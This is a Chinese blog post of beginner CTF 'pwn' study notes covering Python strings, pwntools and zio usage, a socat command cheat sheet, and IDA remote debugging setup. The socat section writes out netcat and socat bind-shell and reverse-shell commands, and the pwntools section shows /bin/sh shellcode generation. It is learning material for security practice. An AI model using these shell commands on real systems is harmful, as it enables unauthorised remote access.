pwn学习任务(二)

在这里插入图片描述


pwn学习任务(二)_第1张图片
pwn学习任务(二)_第2张图片
pwn学习任务(二)_第3张图片

  1. Python字符串处理
  2. zio库用法
  3. pwntools库用法
  4. 学习使用socat开端口运行程序
  5. 掌握ida远程调试方法
  6. pwn题目远程调试的运

Python字符串处理

在Python中,用括号括起的都是字符串,其中的引号可以是单引号,也可以是双引号。

修改字符串大小写

>>> name = "ada lovelace"
>>> print(name.title())
Ada Lovelace

title()以首写字母大写的方式显示单词

name = "Ada Lovelace"
>>> print(name.upper())
ADA LOVELACE

upper()将字符串全部改为大写

print(name.lower())
ada lovelace

lower()将字符串全部改为小写。存储数据时,lower()可以将字符串先转换成小写,存储他们。在需要使用这些信息时,将他们转换为合适的大小写方向就可以了。

合并字符串

 first_name = "ada"
>>> last_name = "lovelace"
>>> full_name = first_name + " " + last_name
>>> print(full_name)
ada lovelace
>>> 
Python使用加号(+)合并字符串

使用制表符或换行符来添加空白
首先,空白是泛指任何非打印字符,如空格、制表符和换行符。

>>> print("\tPython")
	Python
>>> 
```\n\t表示让字符换到下一行,并在下一行开头添加一个制表符

## **删除空白**
额外的空白对于程序而言是两个不同的字符串。Python能够找出字符串开头和末尾多余的空白

favorite_language
'python ’

favorite_language.rstrip()
‘python’

可以分别使用
lstrip()剔除字符串开头的空白
strip()同时剔除字符串两端的空白
> 
> 看到Python代码以普通句子的颜色显示,或者普通句子以Python代码的颜色显示时,则意味着文件中存在引号不匹配问题。



 

## Pwntools
我将pwntools安装在kali—-linux下面,这个是安装教程
https://blog.csdn.net/eira_h/article/details/80982959

**pwntools库使用**
pwntools是一个ctf框架和漏洞利用开发库,用Python开发,由rapid设计,旨在让使用者简单快速的编写exploit。
基本上仿造这个格式就可以写exp了。

    from pwn import *

用来导入pwntools模块

    context(arch = 'i386', os = 'linux')

设置目标机的信息

    r = remote('exploitme.example.com', 31337)

用来建立一个远程连接,url或者ip作为地址,然后指明端口

这里也可以仅仅使用本地文件,调试时方便:

    r = process("./test")

test即为文件名,这使得改变远程和本地十分方便.

    asm(shellcraft.sh())

asm()函数接收一个字符串作为参数,得到汇编码的机器代码。 
比如

    >>> asm('mov eax, 0')
    '\xb8\x00\x00\x00\x00'

shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。

其中的子模块声明架构,比如shellcraft.arm 是ARM架构的,shellcraft.amd64是AMD64架构,shellcraft.i386是Intel 80386架构的,以及有一个shellcraft.common是所有架构通用的。

而这里的shellcraft.sh()则是执行/bin/sh的shellcode了

r.send()将shellcode发送到远程连接

最后,

 

       r.interactive()


将控制权交给用户,这样就可以使用打开的shell了

**Context设置**
context是pwntools用来~~设置环境~~ 的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

一般来说我们设置context只需要简单的一句话:

    context(os='linux', arch='amd64', log_level='debug')

这句话的意思是: 
1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux 
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’ 
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

**数据打包**
数据打包,即将整数值转换为32位或者64位地址一样的表示方式,比如0x400010表示为\x10\x00\x40一样,这使得我们构造payload变得很方便

用法: 
* p32/p64: 打包一个整数,分别打包为32或64位 
* u32/u64: 解包一个字符串,得到整数

p对应pack,打包,u对应unpack,解包,简单好记

    payload = p32(0xdeadbeef) # pack 32 bits number

**数据输出**
如果需要输出一些信息,最好使用pwntools自带的,因为和pwntools本来的格式吻合,看起来也比较舒服,用法:

    some_str = "hello, world"
    log.info(some_str)

其中的info代表是log等级,也可以使用其他log等级。

**Cyclic Pattern**

Cyclic pattern是一个很强大的功能,大概意思就是,使用pwntools生成一个pattern,*pattern就是指一个字符串,可以通过其中的一部分数据去定位到他在一个字符串中的位置。*

*在我们完成栈溢出题目的时候,使用pattern可以大大的减少计算溢出点的时间。* 
用法:

    cyclic(0x100) # 生成一个0x100大小的pattern,即一个特殊的字符串
    cyclic_find(0x61616161) # 找到该数据在pattern中的位置
    cyclic_find('aaaa') # 查找位置也可以使用字符串去定位

比如,我们在栈溢出的时候,首先构造cyclic(0x100),或者更长长度的pattern,进行输入,输入后pc的值变为了0x61616161,*那么我们通过cyclic_find(0x61616161)就可以得到从哪一个字节开始会控制PC寄存器了,避免了很多没必要的计算。*

汇编与shellcode
有的时候我们需要在写exp的时候用到简单的shellcode,pwntools提供了对简单的shellcode的支持。 
首先,常用的,也是最简单的shellcode,即调用/bin/sh可以通过shellcraft得到:

注意,由于各个平台,特别是32位和64位的shellcode不一样,所以最好先设置context。

    print(shellcraft.sh()) # 打印出shellcode

不过,现在我们看到的shellcode还是汇编代码,不是能用的机器码,所以还需要进行一次汇编

     print(asm(shellcraft.sh())) # 打印出汇编后的shellcode


asm可以对汇编代码进行汇编,不过pwntools目前的asm实现还有一些缺陷,比如不能支持相对跳转等等,只可以进行简单的汇编操作。如果需要更复杂一些的汇编功能,可以使用keystone-engine项目,这里就不再赘述了。

asm也是架构相关,所以一定要先设置context,避免一些意想不到的错误。

## ZIO库的使用
**连接**
本地process()、远程remote()。对于remote函数可以接url并且指定端口。

    from zio import *

本地和远程连接都是: 
zio(本地程序名称或者远程IP和端口号) 
连接远程的时候还可以设置超时时间

比如:

    zio('./pwn')
    zio('127.0.0.1',4000)
    zio(('127.0.0.1',4000),timeout=10000000000)


**转换函数:**

    l32()和l64()

**读取和发送:**

    read()
    read_until()
    write()
    writeline()


**远程交互:** 

    interact()


## Socat的使用

基本语法
socat [options] 
1 几个常用的描述方式如下: STDIN,STDOUT :表示标准输入输出,可以就用一个横杠代替 /var/log/syslog : 也可以是任意路径,如果是相对路径要使用./,打开一个文件作为数据流。 TCP:: : 建立一个TCP连接作为数据流,TCP也可以替换为UDP TCP-LISTEN: : 建立TCP监听端口,TCP也可以替换为UDP EXEC: : 执行一个程序作为数据流。 > 在这些描述后可以附加一些选项,用逗号隔开,如fork,reuseaddr,stdin,stdout,ctty等。 **socat进行文件操作** 读取文件,*注意这里的路径必须是绝对路径* socat - /var/www/html/flag.php **写入文件** echo "2333" | socat - /var/www/html/hello.html **socat的netcat功能模块** *远程链接端口* nc localhost 80 socat - TCP:localhost:80 **监听端口** nc -lp localhost 233 socat TCP-LISTEN:233 **正向shell** nc -lp localhost 700 -e /bin/bash socat TCP-LISTEN:700 EXEC:/bin/bash **反弹shell** nc localhost 700 -e /bin/bash socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane **代理与转发** *将本地80端口转发到远程的80端口* socat TCP-LISTEN:80,fork TCP:www.domain.org:80 SSL连接 SSL服务器 需要首先生成证书文件 socat OPENSSL-LISTEN:443,cert=/cert.pem - SSL客户端 socat - OPENSSL:localhost:443 fork服务器 可以将一个使用标准输入输出的单进程程序变为一个使用fork方法的多进程服务 socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld 不同设备的通信 socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr **典型使用** 文件操作 通过 Socat 读取文件 **# 从绝对路径读取** `$ socat - /var/www/html/flag.ph`p **# 从相对路径读取** $ socat - ./flag.php 注:这里的路径一般是绝对路径,*如果要使用相对路径记得要加上 ./* 。 **写入文件** $ echo "This is Test" | socat - /tmp/hello.html **连接远程端口** $ socat - TCP:192.168.1.252:3306 **监听一个新端口** $ socat TCP-LISTEN:7000 - **端口转发** 在实际生产中我们经常会遇到到一个场景就是,用一台机器作为转发服务器,连接 AB 两个网段,将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口,这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。 这样的场景一般在和客户建立专线的连接时候经常用到,一般也可以采用 iptables 做转发,但是比较复杂。*Socat 可以很轻松的完成这个功能,但是 Socat 不支持端口段转发,只适用于单端口或者少量端口。* **转发 TCP** 监听 192.168.1.252 网卡的 15672 端口,并将请求转发至 172.17.0.15 的 15672 端口。 $ socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 参数说明 1. -d -d 前面两个连续的 -d -d 代表调试信息的输出级别。 2. -lf /var/log/socat.log 指定输出信息的文件保存位置。 3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。*这里是 15672,请根据实际情况改成你自己需要转发的端口。* 4. bind 指定监听绑定的 IP 地址,不绑定的话将监听服务器上可用的全部 IP。 5. reuseaddr 绑定一个本地端口。 6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口,这里是 172.17.0.15 的 15672 端口。 转发 UDP 转发 UDP 和 TCP 类似,只要把 TCP4 改成 UDP4 就行了。 $ socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123 NAT 映射 在一个 NAT 网络环境中,也是可以通过 Socat 将内部机器端口映射到公网上的。 在外部公网机器上执行 $ socat tcp-listen:1234 tcp-listen:3389 在内部私网机器上执行 $ socat tcp:outerhost:1234 tcp:192.168.1.34:3389 这样,你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。 ## 文件传递 文件传送 将文件 demo.tar.gz 使用 2000 端口从 192.168.1.252 传到 192.168.1.253,文件传输完毕后会自动退出。 在 192.168.1.252 上执行 $ socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr 在 192.168.1.253 上执行 $ socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create -u 表示数据传输模式为单向,从左面参数到右面参数。 -U 表示数据传输模式为单向,从右面参数到左面参数。 **读写分流功能** Socat 具有一个独特的读写分流功能,比如:可以实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。 $ socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork !! 符号用于合并读写流,前面的用于读,后面的用于写。由于 ! 在 Shell 中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。 **其它功能** 监听一个 TCP 端口 $ socat tcp-listen:12345 - 向 TCP 端口发送数据 $ echo "test" | socat - tcp-connect:127.0.0.1:12345 监听一个 UDP 端口 $ socat udp-listen:23456 - 向一个 UDP 端口发送数据 $ echo "test" | socat - udp-connect:127.0.0.1:23456 监听一个 Unix Socket $ socat unix-listen:/tmp/unix.socket - 向本地 Unix Socket 发送数据 $ echo "test" | socat - unix-connect:/tmp/unix.sock 监听本地 Unix Datagram Socket $ socat unix-recvfrom:/tmp/unix.dg.sock - 向本地 Unix Datagram Socket 发送数据 $ echo "test" | socat - unix-sendto:/tmp/unix.dg.sock 通过 Openssl 来加密传输过程 假设有一个服务器主机,地址为 server.domain.org。 并且服务端程序使用 4433 端口。为了尽可能的简单,我们使用一个非常简单的服务功能,即服务端仅回显数据(echo),客户端只进行标准输入(stdio)。要进行 Openssl 加密数据传输,首先需要生成 Openssl 证书。 建立一个正向 Shell 服务端 *在服务端 7005 端口建立一个 Shell。* $ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr $ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr 客户端 #连接到服务器的 7005 端口,即可获得一个 Shell。readline 是 GNU 的命令行编辑器,具有历史功能。 $ socat readline tcp:127.0.0.1:7005 反弹一个交互式的 Shell 当有主机连接服务端的 7005 端口时,将会发送客户端的 Shell 给服务端。 在 Linux 中一切都是文件,无论是 Socket 还是其他设备。所以从理论上来说,一切能够在文件层级访问的内容都可以成为 Socat 的数据流的来源。2 个 address 可以任意发挥,能够做到的事情还有很多。这样比起来,Socket 的确比 Netcat 更加强大。 ## IDA IDA Pro:交互式反汇编器,是典型的递归下降反汇编器。 **导航条:** 蓝色 表示常规的指令函数 黑色 节与节之间的间隙 银白色 数据内容 粉色 表示外部导入符号 暗黄色 表示ida未识别的内容 **IDA主界面:** IDA View三种反汇编视图:文本视图、图表视图、路径视图 Hex View 十六进制窗口 Imports 导入函数窗口 Struceures 结构体窗口 Exports 导出函数窗口 Enums 枚举窗口 Strings 字符串窗口 **常用功能及快捷键:** 空格键:切换文本视图与图表视图 ESC:返回上一个操作地址 G:搜索地址和符号 N:对符号进行重命名 冒号键:常规注释 分号键:可重复注释 Alt+M:添加标签 Ctrl+M:查看标签 Ctrl+S:查看段的信息 代码数据切换 C-->代码/D-->数据/A-->ascii字符串/U-->解析成未定义的内容 X:查看交叉应用 F5:查看伪代码 Alt+T:搜索文本 Alt+B:搜索十六进制 导入jni.h分析jni库函数。 伪C代码窗口: 右键 comment-注释伪c代码。 copy to -assembly-把伪c代码复制到反汇编窗口的汇编代码。 IDA可以修改so的hex来修改so,edit,然后edit-patchrogram, 建议使用winhex来实现。 ## 程序调试 远程调试:当运行的程序出现问题时,我们通常通过调试来追踪和定位问题。但是,当运行错误的机器上没有调试工具,我们就需要实现远程调试。简单地说,就是要调试的程序和调试器不在一台机器上。 > 远程调试的原理就是两个VM之间通过debug协议进行通信,两者之间通过socket进行通信。 > 运行IDA PRO界面的计算机被称为“*调试器客户端*”。 运行被调试的应用程序的计算机被成为“*调试器服务器* ”。 远程调试主要用于下面一些*特殊应用*: 用于调试病毒/木马/恶意软件:通过这种方法,调试器客户端可以与可能受到这些 软件攻击的计算机隔离。 调试那些在一台计算机上运行遇到问题,而且没有被拷贝安装在其他计算机上的应 用程序。 调式分布式应用程序 始终在你的主工作站上运行,因此你无需将IDA配置、文件和不同的调试相关资源 拷贝到其它机器上。 以后,将可以在更多的操作系统和结构下调试应用程序。 讲道理,实际操作这一次,真的,真的,几经波折。首先,这次体验感来说,希望大家多用Ubuntu,我昨天用kali做的,一直不知道为什么遇到很多奇怪的问题,所以,历史的经验告诉我,不要偷懒,多装两个虚拟机,Ubuntu挺好用的哈哈哈哈哈哈。 进入正题,首先在安装Ubuntu的时候,我下了2014,2016,2018好几个镜像 我![在这里插入图片描述](https://img-blog.csdnimg.cn/20181231004053859.png)安装16,18的都特别卡,安不上,网上的资料显示,很多Windows系统带不动,所以2014好一点。安装比较流畅,然后安装的时候键盘上看不到continue键的时候,可以用Tab键找到键,我真的是醉了。。。。。从kali换Ubuntu,把Ubuntu装好就换了我很久,具体安装过程不是很难 安装完成之后,就要开始安装各种配件~~~,这个嘛socat,python的安装网上教程还是很清楚滴。 很关键的一点!!!!!安装32位库,这个一开始没装,怎么都连不上 https://blog.csdn.net/chunlongyuan/article/details/79449180我是按照这个安装的,比较容易,就是时间比较长。 好啦,安装完之后 远程调试嘛,非要把windows里面的文件拉到linux里面,同时要将ida配套的linux——server一起拖到linux虚拟机里面![在这里插入图片描述](https://img-blog.csdnimg.cn/20181230232539950.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70) ![文件拷进去之后千万养成先查看文件内容的好习惯](https://img-blog.csdnimg.cn/20181230232529524.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_](https://img-blog.csdnimg.cn/20181230232614729.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70) 图一是我捣鼓了很久发现就是运行不了,最后在大佬的指点下发现复制的文件有问题,重新装了一个新的ida,重新添加linux——server才okk。 同时,也可以通过查看知道,我们要调试的程序是32位的,要用32位的ida(这也是为什么要装32位库的原因),不然会出各种问题 这几天疯狂用到的命令 1、ctrl+alt+T 进入终端 2、cd (Desktop)更改目录 3、ls ls -l 查看目录按下的文件、文件内容 4、可视化界面查看(ctrl + L) 直接找到文件路径 5、chmod +x ./()是我们可以访问 6、file 查看文件类型 7、apt-get install 软件名 安装东西 8、ifconfig 查找端口 这些完成之后打开ida,把运行程序pwn100正常拖入ida,在Debugger栏下,选择remote linux debugger 类型,然后process option设置 ![这张截图的地址是错的,是我一开始调的时候的,但界面是这样,配置内容前两行填入我们上面说到的文件在linux下的存储路径,第三行只写到存储程序的文件夹。在hostname那里填我们ifconfig查到的地址](https://img-blog.csdnimg.cn/20181230234325295.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70) 这样就配置完成咯~~~,然后在linux下运行linux——server ![成功运行是长这个样子,](https://img-blog.csdnimg.cn/20181230234710939.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70) 然后,新开一个终端,运行我们要远程调试的程序 接下来就可以去ida里面attach了 ![找到pwn100连接就可以了](https://img-blog.csdnimg.cn/20181230235014400.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70) pay attention!! 一定要在linux下运行pwn100,再attach,不然,ida里面找不到pwn100的程序。 ![运行成功就是这样啦!!](https://img-blog.csdnimg.cn/20181230235239347.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70) 最后在linux里面ctrl+c终止程序就可以啦~ 折腾了好久,平生第一次用微信截图功能,写的有点乱,就这样啦

你可能感兴趣的:(任务)